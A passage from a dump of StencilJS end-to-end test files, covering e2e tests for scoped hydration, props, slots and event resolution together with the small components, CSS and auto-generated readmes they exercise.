')).toBeTruthy();\n    /**\n     * renders hydration styles and custom link tag within the head tag\n     */\n    expect(html.replaceAll(/\\n[ ]*/g, '')).toContain(\n      '<head><meta charset=\"utf-8\"><style sty-id=\"sc-scoped-car-list\">.sc-scoped-car-list-h{display:block;margin:10px;padding:10px;border:1px solid blue}ul.sc-scoped-car-list{display:block;margin:0;padding:0}li.sc-scoped-car-list{list-style:none;margin:0;padding:20px}.selected.sc-scoped-car-list{font-weight:bold;background:rgb(255, 255, 210)}</style><style class=\"vjs-styles-defaults\">.video-js {width: 300px;height: 150px;}.vjs-fluid:not(.vjs-audio-only-mode) {padding-top: 56.25%}</style> <link rel=\"stylesheet\" href=\"whatever.css\"> </head>',\n    );\n  });\n\n  it('populates style information even if we do not render the whole document', async () => {\n    const { styles } = await renderToString(\n      `<scoped-car-list cars=${JSON.stringify([vento, beetle])}></scoped-car-list>`,\n    );\n    expect(styles.length).toBe(2);\n    expect(styles[0].id).toBe('sc-scoped-car-list');\n    expect(styles[0].content).toContain('.sc-scoped-car-list-h{display:block;');\n    expect(styles[1].content).toContain('.video-js {');\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/miscellaneous/test.e2e.ts",
    "content": "import { type E2EPage, newE2EPage } from '@stencil/core/testing';\n\nlet page: E2EPage;\n\nfunction checkSorted(arr: string[]) {\n  return arr.every((value, index, array) => index === 0 || value >= array[index - 1]);\n}\n\ndescribe('do not throw page already closed if page was defined in before(All) hook', () => {\n  beforeAll(async () => {\n    page = await newE2EPage();\n  });\n\n  it('first test', async () => {\n    const p = await page.find('html');\n    expect(p).not.toBeNull();\n  });\n\n  it('second test', async () => {\n    const p = await page.find('html');\n    expect(p).not.toBeNull();\n  });\n});\n\ndescribe('sorts hydrated component styles', () => {\n  it('generates style tags in alphabetical order', async () => {\n    page = await newE2EPage();\n    expect(await page.evaluate(() => document.querySelectorAll('style').length)).toBe(0);\n    await page.setContent(`\n      <prop-cmp mode=\"ios\"></prop-cmp>\n    `);\n    expect(await page.evaluate(() => document.querySelectorAll('style').length)).toBe(1);\n\n    const styleContent = await page.evaluate(() => document.querySelector('style').innerHTML);\n\n    /**\n     * filter out the hydration class selector for the app-root component\n     */\n    const classSelector = styleContent\n      .replace(/\\}/g, '}\\n')\n      .trim()\n      .split('\\n')\n      .map((c) => c.slice(0, c.indexOf('{')))\n      .find((c) => c.includes('app-root'));\n    expect(checkSorted(classSelector.split(','))).toBeTruthy();\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/non-existent-element/empty-cmp-shadow.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'empty-cmp-shadow',\n  shadow: true,\n})\nexport class EmptyComponentShadow {\n  render() {\n    return <Host>I have no children!</Host>;\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/non-existent-element/empty-cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'empty-cmp',\n  shadow: false,\n  scoped: false,\n})\nexport class EmptyComponent {\n  render() {\n    return <Host>I have no children!</Host>;\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/non-existent-element/non-existent-element.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('Querying non-existent element(s)', () => {\n  describe('Shadow DOM', () => {\n    it('returns `null` if the element does not exist', async () => {\n      // create a new puppeteer page\n      const page = await newE2EPage({\n        html: `\n          <empty-cmp-shadow></empty-cmp-shadow>\n        `,\n      });\n\n      const elm = await page.find('empty-cmp-shadow >>> .non-existent');\n      expect(elm).toBeNull();\n    });\n\n    it('returns an empty array if no elements match the selector', async () => {\n      // create a new puppeteer page\n      const page = await newE2EPage({\n        html: `\n          <empty-cmp-shadow></empty-cmp-shadow>\n        `,\n      });\n\n      const elm = await page.findAll('empty-cmp-shadow >>> .non-existent');\n      expect(elm).toEqual([]);\n    });\n  });\n\n  describe('Light DOM', () => {\n    it('returns `null` if the element does not exist', async () => {\n      // create a new puppeteer page\n      const page = await newE2EPage({\n        html: `\n          <empty-cmp></empty-cmp>\n        `,\n      });\n\n      const elm = await page.find('empty-cmp >>> .non-existent');\n      expect(elm).toBeNull();\n    });\n\n    it('returns an empty array if no elements match the selector', async () => {\n      // create a new puppeteer page\n      const page = await newE2EPage({\n        html: `\n          <empty-cmp></empty-cmp>\n        `,\n      });\n\n      const elm = await page.findAll('empty-cmp >>> .non-existent');\n      expect(elm).toEqual([]);\n    });\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/non-existent-element/readme.md",
    "content": "# empty-cmp\n\n\n\n<!-- Auto Generated Below -->\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/path-alias-cmp/path-alias-cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\nimport { sayHi } from '@path-alias';\n\n@Component({\n  tag: 'path-alias-cmp',\n})\nexport class PathAliasCmp {\n  render() {\n    return <h1>{sayHi()}</h1>;\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/path-alias-cmp/path-alias-lib.ts",
    "content": "export const sayHi = () => 'Hi';\n"
  },
  {
    "path": "test/end-to-end/src/path-alias-cmp/readme.md",
    "content": "# path-alias-cmp\n\n\n\n<!-- Auto Generated Below -->\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/prerender-cmp/prerender-cmp.css",
    "content": ":host {\n  display: block;\n  border: 2px solid black;\n  border-radius: 10px;\n  margin: 80px auto;\n  padding: 40px 20px;\n  max-width: 320px;\n  text-align: center;\n  font-size: 24px;\n  font-weight: bold;\n  background: #047aff;\n  color: white;\n  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans',\n    'Helvetica Neue', sans-serif;\n}\n\n@media (max-width: 320px) {\n  :host {\n    background: maroon;\n    font-family: 'Courier New', Courier, monospace;\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/prerender-cmp/prerender-cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\nimport styles from './prerender-cmp.css';\n\n@Component({\n  tag: 'prerender-cmp',\n  styles,\n  shadow: true,\n})\nexport class PrerenderCmp {\n  render() {\n    return [\n      <div>a</div>,\n      <div>b</div>,\n      <div>\n        <div>c</div>\n        <div>\n          {[\n            <div>d</div>,\n            <div>\n              {[\n                <div>e</div>,\n                <div>f</div>,\n                <div>g</div>,\n                <div>h</div>,\n                <div>i</div>,\n                <div>j</div>,\n                <div>k</div>,\n                <div>l</div>,\n              ]}\n            </div>,\n          ]}\n        </div>\n      </div>,\n      <a href=\"/some-link\">Some Link</a>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/prerender-cmp/readme.md",
    "content": "# prerender-cmp\n\n\n\n<!-- Auto Generated Below -->\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/prop-cmp/prop-cmp.e2e.ts",
    "content": "import { newE2EPage, E2EPage } from '@stencil/core/testing';\n\ndescribe('@Prop', () => {\n  let page: E2EPage;\n  beforeEach(async () => {\n    // example showing how new test pages can be\n    // created within beforeEach(), then using\n    // page.setTestContent() or page.gotoTest()\n    page = await newE2EPage();\n  });\n\n  it('should set props from property', async () => {\n    // create a new puppeteer page\n    // load the page with html content\n    await page.setContent(`\n      <prop-cmp mode=\"ios\"></prop-cmp>\n    `);\n\n    // select the \"prop-cmp\" element\n    // and run the callback in the browser's context\n    await page.$eval('prop-cmp', (elm: any) => {\n      // within the browser's context\n      // let's set new property values on the component\n      elm.first = 'Marty';\n      elm.lastName = 'McFly';\n      elm.clothes = 'down filled jackets';\n    });\n\n    // we just made a change and now the async queue need to process it\n    // make sure the queue does its work before we continue\n    await page.waitForChanges();\n\n    // select the \"prop-cmp\" element within the page (same as querySelector)\n    const elm = await page.find('prop-cmp >>> div');\n    expect(elm).toEqualText(\n      'Hello, my name is Marty McFly. My full name being Mr Marty McFly. I like to wear down filled jackets.',\n    );\n  });\n\n  it('should set props from attributes', async () => {\n    await page.setContent(`\n      <prop-cmp first=\"Marty\" last-name=\"McFly\" mode=\"ios\" clothes=\"down filled jackets\"></prop-cmp>\n    `);\n\n    const elm = await page.find('prop-cmp >>> div');\n    expect(elm).toEqualText(\n      'Hello, my name is Marty McFly. My full name being Mr Marty McFly. I like to wear down filled jackets.',\n    );\n  });\n\n  it('should not set read-only props', async () => {\n    await page.setContent(`\n      <prop-cmp first=\"Marty\" last-name=\"McFly\" mode=\"ios\" clothes=\"shoes\"></prop-cmp>\n    `);\n\n    const elm = await page.find('prop-cmp >>> div');\n    expect(elm).toEqualText(\n      'Hello, my name is Marty McFly. My full name being Mr Marty McFly. I like to wear life preservers.',\n    );\n  });\n\n  it('should not set read-only props or override conditional setters', async () => {\n    await page.setContent(`\n      <prop-cmp first=\"Marty\" last-name=\"McFly\" fullName=\"Biff Tannen\" mode=\"ios\" clothes=\"shoes\"></prop-cmp>\n    `);\n\n    const elm = await page.find('prop-cmp >>> div');\n    expect(elm).toEqualText(\n      'Hello, my name is Marty McFly. My full name being Mr Marty McFly. I like to wear life preservers.',\n    );\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/prop-cmp/prop-cmp.ios.css",
    "content": "\n/** ios **/\n\n:host {\n  display: block;\n  border: 2px solid black;\n  border-radius: 10px;\n  margin: 80px auto;\n  padding: 40px 20px;\n  max-width: 320px;\n  text-align: center;\n  font-size: 24px;\n  font-weight: bold;\n  background: #047aff;\n  color: white;\n  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;\n}\n\n@media (max-width: 320px) {\n  :host {\n    background: maroon;\n    font-family: 'Courier New', Courier, monospace;\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/prop-cmp/prop-cmp.md.css",
    "content": "\n/** md **/\n\n:host {\n  display: block;\n  border: 2px solid black;\n  border-radius: 10px;\n  margin: 80px auto;\n  padding: 40px 20px;\n  max-width: 320px;\n  text-align: center;\n  font-size: 24px;\n  font-weight: bold;\n  background: #047aff;\n  color: black;\n  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;\n}\n\n@media (max-width: 320px) {\n  :host {\n    background: maroon;\n    font-family: 'Courier New', Courier, monospace;\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/prop-cmp/prop-cmp.tsx",
    "content": "import { Component, h, Host, Prop } from '@stencil/core';\nimport { saveAs } from 'file-saver';\n\n/**\n * @virtualProp mode - Mode\n */\n@Component({\n  tag: 'prop-cmp',\n  styleUrls: {\n    ios: 'prop-cmp.ios.css',\n    md: 'prop-cmp.md.css',\n  },\n  shadow: true,\n})\nexport class PropCmp {\n  private _clothes = 'life preservers';\n  @Prop() first: string;\n  @Prop() lastName: string;\n  @Prop()\n  get fullName() {\n    return 'Mr ' + this.first + ' ' + this.lastName;\n  }\n  @Prop()\n  get clothes() {\n    return this._clothes;\n  }\n  set clothes(newVal: string) {\n    if (newVal === 'lab coats' || newVal === 'down filled jackets') this._clothes = newVal;\n  }\n\n  saveAs() {\n    saveAs('data', 'filename.txt');\n  }\n\n  render() {\n    return (\n      <Host>\n        <div>\n          Hello, my name is {this.first} {this.lastName}. My full name being {this.fullName}. I like to wear{' '}\n          {this.clothes}.\n        </div>\n        <button onClick={() => this.saveAs()}>File Save</button>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/prop-cmp/readme.md",
    "content": "# prop-cmp\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Properties\n\n| Property   | Attribute   | Description | Type     | Default             |\n| ---------- | ----------- | ----------- | -------- | ------------------- |\n| `clothes`  | `clothes`   |             | `string` | `'life preservers'` |\n| `first`    | `first`     |             | `string` | `undefined`         |\n| `fullName` | `full-name` |             | `string` | `undefined`         |\n| `lastName` | `last-name` |             | `string` | `undefined`         |\n| `mode`     | `mode`      | Mode        | `any`    | `undefined`         |\n\n\n## Dependencies\n\n### Used by\n\n - [app-root](../app-root)\n\n### Graph\n```mermaid\ngraph TD;\n  app-root --> prop-cmp\n  style prop-cmp fill:#f9f,stroke:#333,stroke-width:4px\n```\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/resolve-var-events/readme.md",
    "content": "# resolve-var-events\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Events\n\n| Event        | Description | Type               |\n| ------------ | ----------- | ------------------ |\n| `myEvent`    |             | `CustomEvent<any>` |\n| `otherEvent` |             | `CustomEvent<any>` |\n\n\n## Methods\n\n### `emitMyEvent() => Promise<void>`\n\n\n\n#### Returns\n\nType: `Promise<void>`\n\n\n\n### `emitOtherEvent() => Promise<void>`\n\n\n\n#### Returns\n\nType: `Promise<void>`\n\n\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/resolve-var-events/resolve-var-events.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('resolveVar with @Event and @Listen', () => {\n  it('should fire and listen to event with resolved const variable', async () => {\n    const page = await newE2EPage({\n      html: `\n      <resolve-var-events></resolve-var-events>\n    `,\n    });\n\n    const elm = await page.find('resolve-var-events');\n    await page.waitForChanges();\n\n    const eventSpy = await elm.spyOnEvent('myEvent');\n\n    await elm.callMethod('emitMyEvent');\n\n    await page.waitForChanges();\n\n    expect(eventSpy).toHaveReceivedEvent();\n    const myEventCount = await page.find('resolve-var-events >>> .my-event-count');\n    expect(await myEventCount.textContent).toBe('1');\n  });\n\n  it('should fire and listen to event with resolved object property', async () => {\n    const page = await newE2EPage({\n      html: `\n      <resolve-var-events></resolve-var-events>\n    `,\n    });\n\n    const elm = await page.find('resolve-var-events');\n    await page.waitForChanges();\n\n    const eventSpy = await elm.spyOnEvent('otherEvent');\n\n    await elm.callMethod('emitOtherEvent');\n\n    await page.waitForChanges();\n\n    expect(eventSpy).toHaveReceivedEvent();\n    const otherEventCount = await page.find('resolve-var-events >>> .other-event-count');\n    expect(await otherEventCount.textContent).toBe('1');\n  });\n\n  it('should handle multiple events with different resolved variables', async () => {\n    const page = await newE2EPage({\n      html: `\n      <resolve-var-events></resolve-var-events>\n    `,\n    });\n\n    const elm = await page.find('resolve-var-events');\n    await page.waitForChanges();\n\n    await elm.callMethod('emitMyEvent');\n    await page.waitForChanges();\n\n    await elm.callMethod('emitOtherEvent');\n    await page.waitForChanges();\n\n    const myEventCount = await page.find('resolve-var-events >>> .my-event-count');\n    const otherEventCount = await page.find('resolve-var-events >>> .other-event-count');\n\n    expect(await myEventCount.textContent).toBe('1');\n    expect(await otherEventCount.textContent).toBe('1');\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/resolve-var-events/resolve-var-events.tsx",
    "content": "import { Component, Event, EventEmitter, Listen, Method, State, h, resolveVar } from '@stencil/core';\n\nconst MY_EVENT = 'myEvent';\nconst OTHER_EVENT = 'otherEvent';\n\nconst EVENTS = {\n  MY_EVENT: 'myEvent',\n  OTHER_EVENT: 'otherEvent',\n} as const;\n\n@Component({\n  tag: 'resolve-var-events',\n  shadow: true,\n})\nexport class ResolveVarEvents {\n  @State() myEventCount = 0;\n  @State() otherEventCount = 0;\n\n  @Event({ eventName: resolveVar(MY_EVENT) }) myEvent: EventEmitter;\n  @Event({ eventName: resolveVar(EVENTS.OTHER_EVENT) }) otherEvent: EventEmitter;\n\n  @Listen(resolveVar(MY_EVENT))\n  onMyEvent() {\n    this.myEventCount++;\n  }\n\n  @Listen(resolveVar(OTHER_EVENT))\n  onOtherEvent() {\n    this.otherEventCount++;\n  }\n\n  @Method()\n  async emitMyEvent() {\n    this.myEvent.emit();\n  }\n\n  @Method()\n  async emitOtherEvent() {\n    this.otherEvent.emit();\n  }\n\n  render() {\n    return (\n      <div>\n        <div class=\"my-event-count\">{this.myEventCount}</div>\n        <div class=\"other-event-count\">{this.otherEventCount}</div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/scoped-hydration/non-shadow-forwarded-slot.tsx",
    "content": "import { Component, Host, h } from '@stencil/core';\n\n@Component({\n  tag: 'non-shadow-forwarded-slot',\n  scoped: true,\n  styles: `\n    :host {\n      display: block;\n      border: 3px solid red;\n    }\n    :host strong {\n      color: red;\n    }\n  `,\n})\nexport class Wrapper {\n  render() {\n    return (\n      <Host>\n        <strong>Non shadow parent. Start.</strong>\n        <br />\n\n        <shadow-child>\n          <slot>This is default content in the non-shadow parent slot</slot>\n        </shadow-child>\n\n        <br />\n        <strong>Non shadow parent. End.</strong>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/scoped-hydration/non-shadow-multi-slots.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'non-shadow-multi-slots',\n  scoped: true,\n})\nexport class NonShadowMultiSlots {\n  render() {\n    return [\n      <div>Internal: BEFORE DEFAULT SLOT</div>,\n      <slot />,\n      <div>Internal: AFTER DEFAULT SLOT</div>,\n      <div>Internal: BEFORE SECOND SLOT</div>,\n      <slot name=\"second-slot\">Second slot fallback text</slot>,\n      <div>Internal: AFTER SECOND SLOT</div>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/scoped-hydration/non-shadow-slotted-siblings.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'hydrated-sibling-accessors',\n  scoped: true,\n})\nexport class HydratedSiblingAccessors {\n  render() {\n    return (\n      <div>\n        Internal text node before slot\n        <slot />\n        <div>Internal element before second slot, after first slot</div>\n        <slot name=\"second-slot\">Second slot fallback text</slot>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/scoped-hydration/non-shadow-wrapper.tsx",
    "content": "import { Component, Host, h } from '@stencil/core';\n\n@Component({\n  tag: 'non-shadow-wrapper',\n  scoped: true,\n  styles: `\n    :host {\n      display: block;\n      border: 3px solid red;\n    }\n  `,\n})\nexport class Wrapper {\n  render() {\n    return (\n      <Host>\n        <strong style={{ color: 'red' }}>Non-shadow Wrapper Start</strong>\n        <p>Wrapper Slot before</p>\n        <slot>Wrapper Slot Fallback</slot>\n        <p>Wrapper Slot after</p>\n        <strong style={{ color: 'red' }}>Non-shadow Wrapper End</strong>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/scoped-hydration/non-shadow.tsx",
    "content": "import { Component, Host, h } from '@stencil/core';\n\n@Component({\n  tag: 'non-shadow-child',\n  scoped: true,\n  styles: `\n    :host {\n      display: block;\n      border: 3px solid blue;\n    }\n  `,\n})\nexport class MyApp {\n  render() {\n    return (\n      <Host>\n        <br />\n        <strong style={{ color: 'blue' }}>Nested Non-Shadow Component Start</strong>\n        <br />\n        <slot>Slotted fallback content</slot>\n        <strong style={{ color: 'blue' }}>Nested Non-Shadow Component End</strong>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/scoped-hydration/readme.md",
    "content": "# shadow-wrapper\n\n\n\n<!-- Auto Generated Below -->\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/scoped-hydration/scoped-hydration.e2e.ts",
    "content": "import { newE2EPage, E2EPage } from '@stencil/core/testing';\n\n// @ts-ignore may not be existing when project hasn't been built\ntype HydrateModule = typeof import('../../hydrate');\nlet renderToString: HydrateModule['renderToString'];\n\nasync function getElementOrder(page: E2EPage, parent: string) {\n  return await page.evaluate((parent: string) => {\n    const external = Array.from(document.querySelector(parent).children).map((el) => el.tagName);\n    const internal = Array.from((document.querySelector(parent) as any).__children).map((el: Element) => el.tagName);\n    return { internal, external };\n  }, parent);\n}\n\ndescribe('`scoped: true` hydration checks', () => {\n  beforeAll(async () => {\n    // @ts-ignore may not be existing when project hasn't been built\n    const mod = await import('../../hydrate');\n    renderToString = mod.renderToString;\n  });\n\n  it('does not add multiple style tags', async () => {\n    const { html } = await renderToString(\n      `\n        <non-shadow-child></non-shadow-child> \n      `,\n    );\n    const page = await newE2EPage({ html, url: 'https://stencil.com' });\n    const styles = await page.findAll('style');\n    expect(styles.length).toBe(3);\n    expect(styles[1].textContent).toContain(`.sc-non-shadow-child-h`);\n    expect(styles[0].textContent).not.toContain(`.sc-non-shadow-child-h`);\n    expect(styles[2].textContent).not.toContain(`.sc-non-shadow-child-h`);\n  });\n\n  it('maintains order of multiple slots', async () => {\n    const { html } = await renderToString(\n      `\n        <non-shadow-multi-slots>\n          <p>Default slot element</p>\n          <p slot=\"second-slot\">Second slot element</p>\n        </non-shadow-multi-slots> \n      `,\n    );\n    const page = await newE2EPage({ html, url: 'https://stencil.com' });\n    const { internal } = await getElementOrder(page, 'non-shadow-multi-slots');\n    expect(internal.length).toBe(7);\n    expect(internal).toEqual(['DIV', 'P', 'DIV', 'DIV', 'SLOT-FB', 'P', 'DIV']);\n  });\n\n  it('shows fallback slot when no content is slotted', async () => {\n    const { html } = await renderToString(\n      `\n        <non-shadow-child></non-shadow-child> \n        <non-shadow-child>test</non-shadow-child>\n      `,\n      {\n        serializeShadowRoot: true,\n      },\n    );\n    expect(html).toContain('Slotted fallback content');\n    const page = await newE2EPage({ html, url: 'https://stencil.com' });\n    const slots = await page.findAll('slot-fb');\n    expect(await slots[0].getAttribute('hidden')).toBeNull();\n    expect(await slots[1].getAttribute('hidden')).not.toBeNull();\n  });\n\n  it('keeps slotted elements in their assigned position and does not duplicate slotted children', async () => {\n    const { html } = await renderToString(\n      `\n      <non-shadow-wrapper>\n        <non-shadow-child></non-shadow-child>\n      </non-shadow-wrapper>\n    `,\n      {\n        serializeShadowRoot: true,\n      },\n    );\n    const page = await newE2EPage({ html, url: 'https://stencil.com' });\n\n    const { external, internal } = await getElementOrder(page, 'non-shadow-wrapper');\n    expect(external.length).toBe(1);\n    expect(internal.length).toBe(6);\n\n    expect(internal).toEqual(['STRONG', 'P', 'SLOT-FB', 'NON-SHADOW-CHILD', 'P', 'STRONG']);\n    expect(external).toEqual(['NON-SHADOW-CHILD']);\n\n    const slots = await page.findAll('slot-fb');\n    expect(await slots[0].getAttribute('hidden')).not.toBeNull();\n    expect(await slots[1].getAttribute('hidden')).toBeNull();\n  });\n\n  it('forwards slotted nodes into a nested shadow component whilst keeping those nodes in the light dom', async () => {\n    const { html } = await renderToString(\n      `\n      <non-shadow-forwarded-slot>\n        <p>slotted item 1</p>\n        <p>slotted item 2</p>\n        <p>slotted item 3</p>\n      </non-shadow-forwarded-slot>\n    `,\n      {\n        serializeShadowRoot: true,\n      },\n    );\n    const page = await newE2EPage({ html, url: 'https://stencil.com' });\n\n    const { external, internal } = await getElementOrder(page, 'non-shadow-forwarded-slot');\n    expect(external.length).toBe(3);\n    expect(internal.length).toBe(5);\n\n    expect(internal).toEqual(['STRONG', 'BR', 'SHADOW-CHILD', 'BR', 'STRONG']);\n    expect(external).toEqual(['P', 'P', 'P']);\n  });\n\n  it('retains the correct order of different nodes', async () => {\n    const { html } = await renderToString(\n      `\n      <non-shadow-forwarded-slot>\n        Text node 1\n        <!--Comment 1 -->\n        <p>Slotted element 1 </p>\n        <p>Slotted element 2 </p>\n        <!--Comment 2-->\n        Text node 2\n      </non-shadow-forwarded-slot>\n    `,\n      {\n        serializeShadowRoot: true,\n      },\n    );\n    const page = await newE2EPage({ html, url: 'https://stencil.com' });\n\n    expect(await page.evaluate(() => document.querySelector('non-shadow-forwarded-slot').textContent.trim())).toContain(\n      'Text node 1 Comment 1  Slotted element 1  Slotted element 2  Comment 2 Text node 2',\n    );\n  });\n\n  it('Steps through only \"lightDOM\" nodes', async () => {\n    const { html } = await renderToString(\n      `<hydrated-sibling-accessors>\n         <p>First slot element</p>\n         Default slot text node\n         <p slot=\"second-slot\">Second slot element</p>\n         <!-- Default slot comment node  -->\n      </hydrated-sibling-accessors>`,\n      {\n        serializeShadowRoot: true,\n      },\n    );\n    const page = await newE2EPage({ html, url: 'https://stencil.com' });\n\n    let root: HTMLElement;\n    await page.evaluate(() => {\n      (window as any).root = document.querySelector('hydrated-sibling-accessors');\n    });\n    expect(await page.evaluate(() => root.firstChild.textContent)).toBe('First slot element');\n    expect(await page.evaluate(() => root.firstChild.nextSibling.textContent)).toBe(' Default slot text node  ');\n    expect(await page.evaluate(() => root.firstChild.nextSibling.nextSibling.textContent)).toBe('Second slot element');\n    expect(await page.evaluate(() => root.firstChild.nextSibling.nextSibling.nextSibling.nextSibling.textContent)).toBe(\n      ' Default slot comment node  ',\n    );\n\n    expect(await page.evaluate(() => root.lastChild.previousSibling.textContent)).toBe(' Default slot comment node  ');\n    expect(await page.evaluate(() => root.lastChild.previousSibling.previousSibling.previousSibling.textContent)).toBe(\n      'Second slot element',\n    );\n    expect(\n      await page.evaluate(\n        () => root.lastChild.previousSibling.previousSibling.previousSibling.previousSibling.textContent,\n      ),\n    ).toBe(' Default slot text node  ');\n    expect(\n      await page.evaluate(\n        () =>\n          root.lastChild.previousSibling.previousSibling.previousSibling.previousSibling.previousSibling.textContent,\n      ),\n    ).toBe('First slot element');\n  });\n\n  it('Steps through only \"lightDOM\" elements', async () => {\n    const { html } = await renderToString(\n      `<hydrated-sibling-accessors>\n         <p>First slot element</p>\n         Default slot text node\n         <p slot=\"second-slot\">Second slot element</p>\n         <!-- Default slot comment node  -->\n      </hydrated-sibling-accessors>`,\n      {\n        serializeShadowRoot: true,\n      },\n    );\n    const page = await newE2EPage({ html, url: 'https://stencil.com' });\n\n    let root: HTMLElement;\n    await page.evaluate(() => {\n      (window as any).root = document.querySelector('hydrated-sibling-accessors');\n    });\n    expect(await page.evaluate(() => root.children[0].textContent)).toBe('First slot element');\n    expect(await page.evaluate(() => root.children[0].nextElementSibling.textContent)).toBe('Second slot element');\n    expect(await page.evaluate(() => !root.children[0].nextElementSibling.nextElementSibling)).toBe(true);\n    expect(await page.evaluate(() => root.children[0].nextElementSibling.previousElementSibling.textContent)).toBe(\n      'First slot element',\n    );\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/scoped-hydration/shadow-wrapper.tsx",
    "content": "import { Component, Host, h } from '@stencil/core';\n\n@Component({\n  tag: 'shadow-wrapper',\n  shadow: true,\n  styles: `\n    :host {\n      display: block;\n      border: 3px solid red;\n    }\n  `,\n})\nexport class Wrapper {\n  render() {\n    return (\n      <Host>\n        <strong style={{ color: 'red' }}>Shadow Wrapper Start</strong>\n        <p>Shadow Slot before</p>\n        <slot>Wrapper Slot Fallback</slot>\n        <p>Shadow Slot after</p>\n        <strong style={{ color: 'red' }}>Shadow Wrapper End</strong>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/scoped-hydration/shadow.tsx",
    "content": "import { Component, Host, h } from '@stencil/core';\n\n@Component({\n  tag: 'shadow-child',\n  shadow: true,\n  styles: `\n    :host {\n      display: block;\n      border: 3px solid blue;\n    }\n  `,\n})\nexport class MyApp {\n  render() {\n    return (\n      <Host>\n        <br />\n        <strong style={{ color: 'blue' }}>Nested Shadow Component Start</strong>\n        <br />\n        <slot>\n          <div>Slotted fallback content</div>\n        </slot>\n        <strong style={{ color: 'blue' }}>Nested Shadow Component End</strong>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/slot-cmp/readme.md",
    "content": "# slot-cmp\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Dependencies\n\n### Used by\n\n - [slot-cmp-container](../slot-cmp-container)\n - [slot-parent-cmp](../slot-parent-cmp)\n\n### Graph\n```mermaid\ngraph TD;\n  slot-cmp-container --> slot-cmp\n  slot-parent-cmp --> slot-cmp\n  style slot-cmp fill:#f9f,stroke:#333,stroke-width:4px\n```\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/slot-cmp/slot-cmp.tsx",
    "content": "import { Component, Host, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-cmp',\n  styles: 'slot-cmp { display: inline-block; }',\n})\nexport class SlotCmp {\n  render() {\n    return (\n      <Host>\n        <slot />\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/slot-cmp-container/readme.md",
    "content": "# slot-cmp-container\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Dependencies\n\n### Depends on\n\n- [slot-cmp](../slot-cmp)\n- [slot-parent-cmp](../slot-parent-cmp)\n\n### Graph\n```mermaid\ngraph TD;\n  slot-cmp-container --> slot-cmp\n  slot-cmp-container --> slot-parent-cmp\n  slot-parent-cmp --> slot-cmp\n  style slot-cmp-container fill:#f9f,stroke:#333,stroke-width:4px\n```\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/slot-cmp-container/slot-cmp-container.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('Slots', () => {\n  it('should render the slots in the correct order', async () => {\n    const page = await newE2EPage({ html: '<slot-cmp-container></slot-cmp-container>' });\n\n    const element = await page.find('slot-cmp-container');\n    expect(element.shadowRoot.textContent).toContain('OneTwoThree');\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/slot-cmp-container/slot-cmp-container.tsx",
